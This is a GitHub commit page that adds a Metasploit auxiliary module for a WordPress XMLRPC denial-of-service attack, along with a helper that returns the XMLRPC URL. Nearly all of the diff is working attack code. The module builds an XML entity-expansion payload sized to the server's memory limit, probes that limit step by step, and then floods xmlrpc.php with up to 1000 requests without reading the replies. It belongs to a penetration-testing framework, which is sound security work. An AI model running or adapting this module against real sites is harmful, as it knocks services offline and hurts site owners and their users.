Skip to content

Commit 2967d85

Browse files
committed
Land rapid7#3624 - Wordpress XMLRPC DoS
2 parents f3d90ad + a7be5b5 commit 2967d85

File tree

2 files changed

+185
-0
lines changed

2 files changed

+185
-0
lines changed

lib/msf/http/wordpress/uris.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -101,4 +101,11 @@ def wordpress_url_themes
101101
normalize_uri(wordpress_url_wp_content, 'themes')
102102
end
103103

104+
# Returns the Wordpress XMLRPC URL
105+
#
106+
# @return [String] Wordpress XMLRPC URL
107+
def wordpress_url_xmlrpc
108+
normalize_uri(target_uri.path, 'xmlrpc.php')
109+
end
110+
104111
end
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::HTTP::Wordpress
11+
include Msf::Auxiliary::Dos
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Wordpress XMLRPC DoS',
16+
'Description' => %q{
17+
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
18+
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
19+
also patched).
20+
},
21+
'Author' =>
22+
[
23+
'Nir Goldshlager', # advisory
24+
'Christian Mehlmauer' # metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'],
30+
['URL', 'http://www.breaksec.com/?p=6362'],
31+
['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'],
32+
['URL', 'https://core.trac.wordpress.org/changeset/29404']
33+
],
34+
'DisclosureDate'=> 'Aug 6 2014'
35+
))
36+
37+
register_options(
38+
[
39+
OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
40+
], self.class)
41+
42+
register_advanced_options(
43+
[
44+
OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
45+
OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
46+
], self.class)
47+
end
48+
49+
def rlimit
50+
datastore['RLIMIT']
51+
end
52+
53+
def default_limit
54+
datastore['DEFAULT_LIMIT']
55+
end
56+
57+
def fingerprint_step
58+
datastore['FINGERPRINT_STEP']
59+
end
60+
61+
def fingerprint
62+
memory_to_use = fingerprint_step
63+
# try out the available memory in steps
64+
# apache will return a server error if the limit is reached
65+
while memory_to_use < 1024
66+
vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
67+
opts = {
68+
'method' => 'POST',
69+
'uri' => wordpress_url_xmlrpc,
70+
'data' => generate_xml(memory_to_use),
71+
'ctype' =>'text/xml'
72+
}
73+
74+
begin
75+
# low timeout because the server error is returned immediately
76+
res = send_request_cgi(opts, timeout = 3)
77+
rescue ::Rex::ConnectionError => exception
78+
print_error("#{peer} - unable to connect: '#{exception.message}'")
79+
break
80+
end
81+
82+
if res && res.code == 500
83+
# limit reached, return last limit
84+
last_limit = memory_to_use - fingerprint_step
85+
vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
86+
return last_limit
87+
else
88+
memory_to_use += fingerprint_step
89+
end
90+
end
91+
92+
# no limit can be determined
93+
print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
94+
return default_limit
95+
end
96+
97+
def generate_xml(size)
98+
entity = Rex::Text.rand_text_alpha(3)
99+
doctype = Rex::Text.rand_text_alpha(6)
100+
param_value_1 = Rex::Text.rand_text_alpha(5)
101+
param_value_2 = Rex::Text.rand_text_alpha(5)
102+
103+
size_bytes = size * 1024
104+
105+
# Wordpress only resolves one level of entities so we need
106+
# to specify one long entity and reference it multiple times
107+
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
108+
xml << "<!DOCTYPE %{doctype} ["
109+
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
110+
xml << ']>'
111+
xml << '<methodCall>'
112+
xml << '<methodName>'
113+
xml << "%{payload}"
114+
xml << '</methodName>'
115+
xml << '<params>'
116+
xml << "<param><value>%{param_value_1}</value></param>"
117+
xml << "<param><value>%{param_value_2}</value></param>"
118+
xml << '</params>'
119+
xml << '</methodCall>'
120+
121+
empty_xml = xml % {
122+
:doctype => '',
123+
:entity => '',
124+
:entity_value => '',
125+
:payload => '',
126+
:param_value_1 => '',
127+
:param_value_2 => ''
128+
}
129+
130+
space_to_fill = size_bytes - empty_xml.size
131+
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
132+
133+
payload = "&#{entity};" * (space_to_fill / 6)
134+
entity_value_length = space_to_fill - payload.length
135+
136+
payload_xml = xml % {
137+
:doctype => doctype,
138+
:entity => entity,
139+
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
140+
:payload => payload,
141+
:param_value_1 => param_value_1,
142+
:param_value_2 => param_value_2
143+
}
144+
145+
payload_xml
146+
end
147+
148+
def run
149+
# get the max size
150+
print_status("#{peer} - trying to fingerprint the maximum memory we could use")
151+
size = fingerprint
152+
print_status("#{peer} - using #{size}MB as memory limit")
153+
154+
# only generate once
155+
xml = generate_xml(size)
156+
157+
for x in 1..rlimit
158+
print_status("#{peer} - sending request ##{x}...")
159+
opts = {
160+
'method' => 'POST',
161+
'uri' => wordpress_url_xmlrpc,
162+
'data' => xml,
163+
'ctype' =>'text/xml'
164+
}
165+
begin
166+
c = connect
167+
r = c.request_cgi(opts)
168+
c.send_request(r)
169+
# Don't wait for a response, can take very long
170+
rescue ::Rex::ConnectionError => exception
171+
print_error("#{peer} - unable to connect: '#{exception.message}'")
172+
return
173+
ensure
174+
disconnect(c) if c
175+
end
176+
end
177+
end
178+
end

0 commit comments

Comments
 (0)